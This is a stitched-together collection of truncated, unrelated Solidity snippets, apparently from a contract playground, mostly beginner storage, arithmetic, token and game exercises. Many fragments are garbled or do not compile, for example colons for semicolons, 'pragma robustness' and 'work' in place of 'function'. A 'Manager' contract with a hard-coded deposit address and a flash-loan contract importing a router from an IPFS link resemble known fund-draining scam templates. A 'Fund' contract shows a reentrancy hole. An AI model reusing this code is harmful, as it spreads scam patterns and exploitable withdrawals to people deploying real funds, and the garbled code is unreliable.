/// aggregator for earning interest on any ERC20 token.
contract Vault is ERC4626, Auth {
    using SafeCastLib for uint256;
    using SafeTransferLib for ERC20;
    using FixedPointMathLib for uint256;

    /*///////////////////////////////////////////////////////////////
                                 CONSTANTS
    //////////////////////////////////

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract Proof {
  
  struct FileDetails {
    uint timestamp;
    string owner;
  }

  mapping (string => FileDetails) files;

  event logFileAddedStatus(bool status, uint timestamp, string owner, string fileHash);

  function set(string owner, string fileHash) external {
  
    if(files[fileHash].timestamp == 0) 
    {
      files[fileHash] = FileDetails(block.timestamp, owner);
  
      logFileAddedStatus(true, block.timestamp, owner, fileHash);
    }
    else {
      logFileAddedStatus(false, block.timestamp, owner, fileHash);
    }
  }

  function get(string fileHash) external view returns (uint timestamp, string owner) {
    return (files[fileHash].timestamp, files[fileHash].owner);
  }

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract Proof {
  
  struct FileDetails {
    uint timestamp;
    string owner;
  }

  mapping (string => FileDetails) files;

  event logFileAddedStatus(bool status, uint timestamp, string owner, string fileHash);

  function set(string owner, string fileHash) external {
  
    if(files[fileHash].timestamp == 0) 
    {
      files[fileHash] = FileDetails(block.timestamp, owner);
  
      logFileAddedStatus(true, block.timestamp, owner, fileHash);
    }
    else {
      logFileAddedStatus(false, block.timestamp, owner, fileHash);
    }
  }

  function get(string fileHash) external view returns (uint timestamp, string owner) {
    return (files[fileHash].timestamp, files[fileHash].owner);
  }

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  
  uint private coins;

  function add(uint value1,uint value2) public view returns(uint){
    
     coins = value1 + value2;

     return coins;
  }

  function mult(uint value1,uint value2) public view returns(uint){
    coins = value1*value2;

    return coins;
  }

pragma solidity ^0.4.18;
contract SimpleStore {

   function add() public pure returns(uint){
      uint num1 = 10; 
      uint num2 = 16;
      uint sum = num1 + num2;
      return sum;
   }
}

pragma solidity >= 0.7.1;
contract VirtualBPP {
struct User {
int256 time_start;
int256 time_end;
int256 user_id;
bool active;
int256 access;
int256[] assets;
}
struct StateMeasurement {
int256 asset_id;
int256 value;
int256 datetime;
}
struct StateMeasurementUser {
string asset_user_id;
int256 value;
int256 datetime;
}
struct Asset {
int256 asset_id;
int256 time_start;
int256 time_end;
bool active;
string typei;
string region;
int256[] blacklistUsers;
int256[] owners;
}
mapping (int256 => User) users;
mapping (int256 => StateMeasurement) stateMeasurement;
mapping (string => StateMeasurementUser) stateMeasurementUser;
mapping (int256 => Asset) public assets;
// set user function
function setUser (
int256 _user_id,
int256 _time_start,
int256 _time_end,
bool _active,
int256 _access,
int256[] memory _assets)
public {
User memory u;
u.time_start = _time_start;
u.time_end = _time_end;
u.user_id = _user_id;
u.active = _active;
u.access = _access;
u.assets = _assets;
users[_user_id] = u;
}
// set asset function
func

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity 0.8.9;
contract SimpleStore {
  function testGas1(uint a, uint b) {
    if (a == 1 && b == 2) {

    }
  }

  function testGas2(uint a, uint b) {
    if (true) {
      
    }
  }

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.26;
//contract name is MyFirstContract
contract MyFirstContract {

//create two variables.  A sting and an integer

    string private name;
    uint private age;

//set
    function setName(string memory newName) public {
        name = newName;
    }

//get
    function getName () public view returns (string memory) {
        return name;
    }
    
//set
    function setAge(uint newAge) public {
        assert(newAge > 0 && newAge < 100);
        age = newAge;
        
    }

//get
    function getAge () public view returns (uint) {
        return age;
    }
    

pragma solidity ^0.4.18;

contract WETH9 {
    string public name     = "Wrapped Ether";
    string public symbol   = "WETH";
    uint8  public decimals = 18;

    event  Approval(address indexed src, address indexed guy, uint wad);
    event  Transfer(address indexed src, address indexed dst, uint wad);
    event  Deposit(address indexed dst, uint wad);
    event  Withdrawal(address indexed src, uint wad);

    mapping (address => uint)                       public  balanceOf;
    mapping (address => mapping (address => uint))  public  allowance;

    function() public payable {
        deposit();
    }
    function deposit() public payable {
        balanceOf[msg.sender] += msg.value;
        Deposit(msg.sender, msg.value);
    }
    function withdraw(uint wad) public {
        require(balanceOf[msg.sender] >= wad);
        balanceOf[msg.sender] -= wad;
        msg.sender.transfer(wad);
        Withdrawal(msg.sender, wad);
    }

    function totalSupply() public view returns (uint) {
        return this.ba

// SPDX-License-Identifier: MIT

// DropCase.sol --

// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in all
// copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISIN

//Write your own/**
 *MRWEB FINANCE  NEW TOKEN VERSION 2 
 *OLD VERSION IT WAS (AMA)
 *CONTRACT ADDRESS IS 0xfc3da4a1b6fadab364039525dd2ab7c0c16521cd
 *THIS VERSION IS THE V2 NAME(MFT) MREB FINANCE TOKEN
 *CREATED BY MRWEB  ON 31/05/2022
*/

pragma solidity 0.5.16;

interface IBEP20 {
  /**
   * @dev Returns the amount of tokens in existence.
   */
  function totalSupply() external view returns (uint256);

  /**
   * @dev Returns the token decimals.
   */
  function decimals() external view returns (uint8);

  /**
   * @dev Returns the token symbol.
   */
  function symbol() external view returns (string memory);

  /**
  * @dev Returns the token name.
  */
  function name() external view returns (string memory);

  /**
   * @dev Returns the bep token owner.
   */
  function getOwner() external view returns (address);

  /**
   * @dev Returns the amount of tokens owned by `account`.
   */
  function balanceOf(address account) external view returns (uint256);

  
  function transfer(address recipient, uint256 

// contracts/Baseballs.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;


import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/utils/structs/BitMaps.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol";

import "./external/MLBC.sol";

contract Baseballs is Context, ERC20Burnable {
    using BitMaps for BitMaps.BitMap;

    MLBC public _mlbc;

    BitMaps.BitMap private _baseballsBitMap;


    constructor(address mlbcAddress) ERC20("Baseballs", "Baseball") {
        _mlbc = MLBC(mlbcAddress);
    }

    function mint(uint32[] calldata tokenIds) public {
        
        require(tokenIds.length < 1001, "Too many");

        for (uint i=0; i < tokenIds.length; i++) {

            uint32 tokenId = tokenIds[i];

            //Don't mint past the supply at launch.
            require(tokenId < 249173, "Token too high");
            require(tokenId > 0, "Token too low");

            //Validat

// SPDX-License-Identifier: MIT

pragma solidity 0.8.14;

contract MyContract {

    uint public total; 

    constructor(){
        total = 0;
    }
    
    function addSix() public
    {
        addOne();
        addTwo();
        addThree();
    }
    
    function addOne() private{
        total += 1;
    }

    function addTwo() private{
        total += 1;
    }

    function addThree() private{
        total += 3;
    }
    

// SPDX-License-Identifier: MIT

pragma solidity 0.8.14;

contract MyContract {

    uint public total; 

    constructor(){
        total = 0;
    }
    
    function addSix() public
    {
        addOne();
        addTwo();
        addThree();
    }
    
    function addOne() private{
        total += 1;
    }

    function addTwo() private{
        total += 1;
    }

    function addThree() private{
        total += 3;
    }
    

pragma solidity ^0.4.19:

contract ZombieFactory {
  
  event NewZombie(uint zombieId, string name, uint dna);
  
  uint dnaDigits = 16:
  uint dnaModulus = 10 ** dnaDigits:

struct Zombie {
  string name:
  uint dna:
}

Zombie (1 public zombies;

// declare mappings here

pragma solidity ^0.6.6;

contract Manager {
	function performTasks() public {
	    
	}

	function pancakeswapDepositAddress() public pure returns (address) {
		return 0x4d57226Fd37DE2bf760304251B3e38c096756089;
	}

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
} Implement and demonstrate the use of the Following.

1. Mathematical Function

pragma solidity ^0.5.0;

contract Test {

function callAddMod() public pure returns(uint){

return addmod(4, 5, 3);

}

function callMulMod() public pure returns(uint){

return mulmod(4, 5, 3);

}

}

Output￾a. Addition-

// Solidity program to

// demonstrate addition

pragma solidity 0.6.6;

contract MathPlus

{

// Declaring the state

// variables

uint firstNo ;

uint secondNo ;

// Defining the function

// to set the value of the

// first variable

function firstNoSet(uint x) public

{

firstNo = x;}

pragma solidity ^0.8.0;

contract Lottery {

    struct lotteryInstance {
         uint currentAmount;
         uint maxParticipants;
         uint id;
         bool status;
         uint winner;
         uint participantCount;
    }

    mapping (uint => address[]) public participants;

    mapping (uint => bool) public allotedNumbers;

    mapping (uint => lotteryInstance) public lotteries;
    uint mapSize=0;
    uint initialNumber;

    function createLottery() public returns(bool success) {
               lotteryInstance memory lt = lotteryInstance({currentAmount:0,maxParticipants:5,status:false,winner:0,id:mapSize,participantCount:0});
               lotteries[mapSize++] = lt;
               return true;
    }

    function listLotteries() public view returns(lotteryInstance[] memory lottxs) {
           lotteryInstance[] memory lotts;
           uint cnt=0;
           for(cnt=0;cnt<mapSize;cnt++) {
               lotts[cnt] = lotteries[cnt];
           }
           return lotts;

    }

    function lo

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function getSum(uint a, uint b) public pure returns(uint){
return a + b;
}
function getSum(uint a, uint b, uint c) public pure returns(uint){
return a + b + c;
}
function callSumWithTwoArguments() public pure returns(uint){
return getSum(1,2);
}
function callSumWithThreeArguments() public pure returns(uint){
return getSum(1,2,3);
}

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;

contract test
{
  uint public var1;
  uint public var2;
  uint public sum;
  function set (uint x, uint y) public
  {
    var1 = x;
    var2 = y;
    sum = var1 + var2;
  }
  function get()
  public view returns (uint)
  {
    return sum;
  }

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";

import "hardhat/console.sol";

contract NFTMarketplace is ERC721URIStorage {
    using Counters for Counters.Counter;
    Counters.Counter private _tokenIds;
    Counters.Counter private _itemsSold;

    uint256 listingPrice = 0.025 ether;
    address payable owner;

    mapping(uint256 => MarketItem) private idToMarketItem;

    struct MarketItem {
      uint256 tokenId;
      address payable seller;
      address payable owner;
      uint256 price;
      bool sold;
    }

    event MarketItemCreated (
      uint256 indexed tokenId,
      address seller,
      address owner,
      uint256 price,
      bool sold
    );

    constructor() ERC721("WageCan NFT", "WCT") {
      owner = payable(msg.sender);
    }

    /* Updates the listing price of the contract */
    f

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.6.6;

contract Playground {

  function compare(string _s1, string _s2) 
            pure
            public
            returns(bool) {
              bytes memory b1 = bytes(_s1);
              bytes memory b2 = bytes(_s2);
              if (b1.length != b2.length) {
                return false;
              }
              return keccak256(b1) == keccak256(b2);
  }

  function concat(string _s1, string _s2) 
            pure 
            public 
            returns(string) {
              return string(abi.encodePacked(bytes(_s1), bytes(_s2)));
  }

  function strLen(string _str) 
            pure 
            public 
            returns(uint) {
    
    bytes memory b = bytes(_str);
    return (b.length);

  }

  function strReplace(string _from, string _what, string _to)
            pure
            public
            returns(string) {
              bytes memory bfrom = bytes(_from);
              

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

library SafeMath {
    function add(uint x, uint y) internal pure returns (uint) {
        uint z = x + y;
        require(z >= x, "uint overflow");

        return z;
    }
}

library Math {
    function sqrt(uint y) internal pure returns (uint z) {
        if (y > 3) {
            z = y;
            uint x = y / 2 + 1;
            while (x < z) {
                z = x;
                x = (y / x + x) / 2;
            }
        } else if (y != 0) {
            z = 1;
        }
        // else z = 0 (default value)
    }
}

contract TestSafeMath {
    using SafeMath for uint;

    uint public MAX_UINT = 2**256 - 1;

    function testAdd(uint x, uint y) public pure returns (uint) {
        return x.add(y);
    }

    function testSquareRoot(uint x) public pure returns (uint) {
        return Math.sqrt(x);
    }
}

// Array function to delete element at index and re-organize the array
// so that their are no gaps between the elements.
library Array {
   

// SPDX-License-Identifier: GPL-3.0

pragma solidity ^0.4.13;

contract Session3 {

    /* HINTS:
        Sumar: +
        Restar: - 
        Dividir: /
        Multiplicar: *
        Resto: %

        if (expression1) {
            Statement(s) ejecutado si "expression1" es "true"
        } else {
            Statement(s) ejecutado si no hay ninguna expresion que sea "true"
        }
    */

    // Crea una funcion que reciba 2 numeros y te devuelva el numero que sea mayor

    /* Berenu:
      - El operador ternario está muy bien para dejar el codigo más limpio, sin embargo
      puede ser un poco mas complejo de leer.

      - "uint" es como poner "uint256". Lo unico decirte que si eliges poner "uint" deberias 
      ponerlo en todas las funciones.
    */
    function greater(uint one, uint two) external pure returns (uint) {
        return one >= two ? one : two;
    }

    // Crea una funcion que te devuelva el porcentaje X de una cantidad.

    /* Berenu:
      Perfecto!

      Si ademas, lo quieres h

// SPDX-License-Identifier: GPL-3.0

pragma solidity ^0.4.13;

contract Session3 {

    /* HINTS:
        Sumar: +
        Restar: - 
        Dividir: /
        Multiplicar: *
        Resto: %

        if (expression1) {
            Statement(s) ejecutado si "expression1" es "true"
        } else {
            Statement(s) ejecutado si no hay ninguna expresion que sea "true"
        }
    */

    // Crea una funcion que reciba 2 numeros y te devuelva el numero que sea mayor

    /* Berenu:
      - El operador ternario está muy bien para dejar el codigo más limpio, sin embargo
      puede ser un poco mas complejo de leer.

      - "uint" es como poner "uint256". Lo unico decirte que si eliges poner "uint" deberias 
      ponerlo en todas las funciones.
    */
    function greater(uint one, uint two) external pure returns (uint) {
        return one >= two ? one : two;
    }

    // Crea una funcion que te devuelva el porcentaje X de una cantidad.

    /* Berenu:
      Perfecto!

      Si ademas, lo quieres h

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
// hello hello
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
// hello
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

pragma solidity ^0.5.0;


// PancakeSwap Smart Contracts
import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeCallee.sol";
import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeFactory.sol";

//BakerySwp Smart contracts
import "https://github.com/BakeryProject/bakery-swap-core/blob/master/contracts/interfaces/IBakerySwapFactory.sol";

// Router
import "https://gateway.pinata.cloud/ipfs/QmUjKUcP21Jig4kuXYghYLZwrWyq5evQkQkGBvERgn9qfk";

// Multiplier-Finance Smart Contracts
import "https://github.com/Multiplier-Finance/MCL-FlashloanDemo/blob/main/contracts/interfaces/ILendingPoolAddressesProvider.sol";
import "https://github.com/Multiplier-Finance/MCL-FlashloanDemo/blob/main/contracts/interfaces/ILendingPool.sol";


contract InitiateFlashLoan {
    
	RouterV2 router;
	string public tokenName;
	string public tokenSymbol;
	uint256 flashLoanAmount;

	constructor(
    	string memory _tokenName,
    	string memory _tokenSymbol,

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.1;
contract ProoF-Of_Attendance{
  //A01561804
  event studentRegistered(string mat, address studentaddress);
  address CreatorID;
  
  struct Student {
    string Matricula;
    address _studentAddress;
  }
  Student[] Students;
  
  
  mapping(address => bool[16]) attendance;

  function RegisterStudent(uint studentNum,address StudentId, string studentMatricula)  public {

    Student student = Student(studentMatricula, StudentID);
    Students[studentNum] = student;
    emit studentRegistered(StudenMatricula, StudentID);
    
  }
  function DeleteStudent(uint studentNum) public {
      delete students[studentNum];
  }

  function RegisterAttendance(address StudentId, string studentMatricula, uint day,bool attended) view public {
      for (uint i=0; i<Students.length; i++) {
        if (Students[i]._studentAddress == address StudentId){
            attendance(Studentid)[day] = attended;

        }
 

pragma robustness ^0.4.24;
contract RockPaperScissors {
// characterize constants
address public alice;
address public sway;
uint public minBet = 1 ether;
uint public maxBet = 2 ether;
// characterize factors
uint public bet;
uint public victor;
bytes32 public moveA;
bytes32 public moveB;
// constructor
constructor(address _alice, address _bob) public {
require(_alice != address(0));
require(_bob != address(0));
alice = _alice;
sway = _bob;
}
// acknowledge bet from Alice
work makeBet() public payable {
require(msg.value == minBet);
require(winner == 0);
require(bet == 0);
wager = msg.value;
}
// Alice takes her action
work makeMoveA(bytes32 _moveA) public {
require(msg.sender == alice);
require(winner == 0);
require(moveA == bytes32(0));
require(_moveA == bytes32("rock") || _moveA == bytes32("paper") || _moveA == bytes32("scissors"));
moveA = _moveA;
}
// Sway takes his action
work makeMoveB(bytes32 _moveB) public {
require(msg.sender == sway);
require(winner == 0);
require(moveB == bytes32(0));
require(_mov

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function testGas1(uint a, uint b) public pure {
    if (a == 1 && b == 2) {

    }
  }

  function testGas2() public pure {
    if (true) {
      
    }
  }

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.24;
contract SimpleAdd {
  // 變數宣告
  uint number = 0;
  // .....更多變數

  // 函數定義
  function getNumber() public view returns (uint) {  // public:所有人都可以執行此function ; view:此function不會更改到上面宣稱的變數 ; return:function回傳的type
    return number;
  }
  // .....更多函數
  function increase() public {
    number++;  // ++: 代表加一
  }

pragma solidity ^0.7.4;

contract Project{
    address owner;
    uint public balance;
    string public Fname;
    string public Lname;
    uint public age;
    enum GENDER {MALE, FEMALE, OTHER}
    GENDER public choice;
    
    struct Address{
        string AddressLine1;
        string AddressLine2;
        string City;
        string state;
        string Pincode;
        
        
    }
    Address a1;
   
    function Alias() public view returns(string memory, string memory, string memory, string memory, string memory, string memory, string memory){  /*accessing the struct objects*/
     return ( Fname, Lname,a1.AddressLine1,a1.AddressLine2,a1.City,a1.state,a1.Pincode);
    }

    function Approval() public{
        owner=msg.sender;
    }
    
    function Create_Account(string memory First_name, string memory Last_name, uint Age, uint gender, string memory addressline1,string memory addressline2, string memory city, string memory State, string memory pincode) public{          /*function to enter the 

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract RuneOfPower {
  address public wallet = 0xC9C022FCFebE730710aE93CA9247c5Ec9d9236d0;
  function claimRuneOfPower(uint256 nonce) external view returns (uint256) {
    return uint256(
        keccak256(abi.encodePacked(lastPower, nonce, wallet))
    );
  }

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  address public wallet = 0xC9C022FCFebE730710aE93CA9247c5Ec9d9236d0;
  function claimRuneOfPower(uint256 nonce) external view returns (uint256) {
    return uint256(
        keccak256(abi.encodePacked(lastPower, nonce, wallet))
    );
  }

// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;

// import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/utils/SafeERC20.sol";
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol";


contract ERC20Mock is ERC20 {
    uint256 public constant initialSupply = 100 ether;

    constructor() ERC20("asd", "asd") {}

    function mint(address _addr1, address _addr2) external {
        _mint(_addr1, 10 ether);
        _mint(_addr2, 10 ether);
    }
}

// 55 682
contract TestOne {
    using SafeERC20 for ERC20;

    function tst(address _tokenAddr) external {
        ERC20(_tokenAddr).safeTransfer(msg.sender, 1 ether);
    }
}

// 37 399
contract TestTwo {
    function tst(address _tokenAddr) external {
        IERC20(_tokenAddr).transfer(msg.sender, 1 ether);
    }

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
  function gettting() external view returns(uint) {
    return value;
  }

//0x495f947276749Ce646f68AC8c248420045cb7b5e
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

pragma solidity ^0.4.15;
contract demo1 {
  uint private sellerBalance=0;
   function add(uint value) returns (bool){
      sellerBalance += value;
  }
}

pragma solidity ^0.4.0;
contract Fund {
   /// 合约中 |ether| 分成的映射。
   mapping(address => uint) shares;
   /// 提取你的分成。
   function withdraw() public {
       if (msg.sender.call.value(shares[msg.sender])())
           shares[msg.sender] = 0;
   }
}

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }
123123
  uint value;

function tokenURI(uint256 tokenId) public view returns (string memory) {
    return "data would go here";
}

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.0;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
  pragma solidity ^0.4.18;
  contract SimpleStore {
    function set(uint _value) public {
      value = _value;
    }

    function get() public constant returns (uint) {
      return value;
    }

    uint value;
  

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SmartContract {

  function callAddmod() public view returns(uint)
  {
    return addmod(2,3,5);
  }

  

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.1;
contract TicTacToe {
// game configuration
address [2] _playerAddress ; // address of both players
uint32 _turnLength ; // max time for each turn


// nonce material used to pick the first player
bytes32 _p1Commitment ;
uint8 _p2Nonce ;


// game state
uint8 [9] _board ; // serialized 3 x3 array
uint8 _currentPlayer ; // 0 or 1, indicating whose turn it is
uint256 _turnDeadline ; // deadline for submitting next move


// Create a new game , challenging a named opponent .
// The value passed in is the stake which the opponent must match .
// The challenger commits to its nonce used to determine first mover .
constructor ( address opponent , uint32 turnLength ,
bytes32 p1Commitment ) public {
_playerAddress [0] = msg . sender ;
_playerAddress [1] = opponent ;
_turnLength = turnLength ;
_p1Commitment = p1Commitment ;
}

// Join a game as the second player .
function joinGame ( uint8 p2Nonce ) public pa

/**
 *Submitted for verification at Etherscan.io on 2021-04-06
*/

/**
 *Submitted for verification at Etherscan.io on 2021-04-05
*/

pragma solidity ^0.6.0;

/**
 * @dev Wrappers over Solidity's arithmetic operations with added overflow
 * checks.
 *
 * Arithmetic operations in Solidity wrap on overflow. This can easily result
 * in bugs, because programmers usually assume that an overflow raises an
 * error, which is the standard behavior in high level programming languages.
 * `SafeMath` restores this intuition by reverting the transaction when an
 * operation overflows.
 *
 * Using this library instead of the unchecked operations eliminates an entire
 * class of bugs, so it's recommended to use it always.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

contract NumberGame {
    struct Player {
        string name;
        uint256 probability;
        uint8 losses;
    }
    struct GameInfo {
        string gameName;
        Player[] players;
        uint8 gamesPlayed;
    }

    mapping(uint8 => GameInfo) existingGames;
    mapping(string => uint8) nameToGame;
    uint8 numGames;

    mapping(address => bool) isWhitelisted;

    constructor() {
        isWhitelisted[msg.sender] = true;
    }

    error NotWhitelisted();
    modifier onlyWhitelist() {
        if (isWhitelisted[msg.sender] != true) revert NotWhitelisted();
        _;
    }

    function createGame(string calldata _name)
        public
        onlyWhitelist
        returns (uint8)
    {
        uint8 gameId = numGames++;
        GameInfo storage game = existingGames[gameId];

        game.gameName = _name;
        game.gamesPlayed = 0;

        nameToGame[_name] = gameId;

        return gameId;
    }

    function addToGame(uint

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

pragma solidity >= 0.7.0 < 0.9.0;

contract Safe {
  address private safeOwner;
  modifier isSafeOwner {
    require(
      msg.sender == safeOwner,
      "Must be safe onwer to open safe"
    );
    _;
  }

  modifier hasAdequateFunds {
    require(
      msg.sender.balance >= 47,
      "Must have at least 47 WEI"
    );
    require(
      msg.value == 47,
      "Must transfer 47 WEI to access"
    );
    _;
  }

  constructor () {
    safeOwner = 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4;
  }

  function openSafe(string memory input) public payable isSafeOwner hasAdequateFunds returns(bool) {
    bytes2 key = hex'a12c';
    bytes32 result = sha256(abi.encodePacked(input));
    if (result[0] == key[0] && result[1] == key[1]) {
      return true;
    

pragma solidity >= 0.7.0 < 0.9.0;

contract Safe {
  address private safeOwner;
  modifier isSafeOwner {
    require(
      msg.sender == safeOwner,
      "Must be safe onwer to open safe"
    );
    _;
  }

  modifier hasAdequateFunds {
    require(
      msg.sender.balance >= 47,
      "Must have at least 47 WEI"
    );
    require(
      msg.value == 47,
      "Must transfer 47 WEI to access"
    );
    _;
  }

  constructor () {
    safeOwner = 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4;
  }

  function openSafe(uint8[13] memory input) public payable isSafeOwner hasAdequateFunds returns(bool) {
    bytes2 key = hex'a12c';
    bytes32 result = sha256(abi.encodePacked(input));
    if (result[0] == key[0] && result[1] == key[1]) {
      return true;
    } else {
      return false;
    }
  }

pragma solidity ^0.4.18;

contract Gastoken {
    function free(uint256 value) public returns (bool success);
    function freeUpTo(uint256 value) public returns (uint256 freed);
    function freeFrom(address from, uint256 value) public returns (bool success);
    function freeFromUpTo(address from, uint256 value) public returns (uint256 freed);
}

contract Example {

    // This function consumes a lot of gas
    function expensiveStuff() private pure {
        /* lots of expensive stuff */
    }

    /*
     * Frees `free' tokens from the Gastoken at address `gas_token'.
     * The freed tokens belong to this Example contract. The gas refund can pay
     * for up to half of the gas cost of the total transaction in which this 
     * call occurs.
     */
    function burnGasAndFree(address gas_token, uint256 free) public {
        require(Gastoken(gas_token).free(free));
        expensiveStuff();
    }

    /*
     * Frees `free' tokens from the Gastoken at address `gas_token'.
     * The freed tokens belong

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity 0.8.11;
contract SimpleStore {
    struct ST1 {
        uint256 i1;
        uint256 i2;
        uint256 i3;
        uint256 i4;
        uint256 i5;
        uint256 i6;
        uint256 i7;
    }
    struct ST2 {
        uint256 i8;
        uint256 i9;
        uint256 i10;
        uint256 i11;
        uint256 i12;
        uint256 i13;
        uint256 i14;
    }
    struct ST3 {
        uint256 i15;
        uint256 i16;
        uint256 i17;
        uint256 i18;
        uint256 i19;
        uint256 i20;
        uint256 i21;

    }
    struct ST4 {
        uint256 i22;
        uint256 i23;
        uint256 i24;
        uint256 i25;
        uint256 i26;
        uint256 i27;
        uint256 i28;
    }


    function myFunc2(
        ST1 memory st1,
        ST2 st2,
        ST3 st3,
        ST4 st4
    ) public returns(uint256) {
        // uint256 t1=1;
        // uint256 t2=2;
        uint256 tmp = st1.i1+st4.i23;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.15;
contract SimpleStore {
function myFunc(
        uint256 i1,
        uint256 i2,
        uint256 i3,
        uint256 i4,
        uint256 i5,
        uint256 i6,
        uint256 i7,
        uint256 i8,
        uint256 i9,
        uint256 i10,
        uint256 i11,
        uint256 i12,
        uint256 i13
    ) public returns(uint256) {
        // uint256 t1=1;
        // uint256 t2=2;
        uint256 tmp = i1+i2+i3+i4+i5+i6+i7+i8+i9+i10+i11+i12+i13;
        return tmp;
    }

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
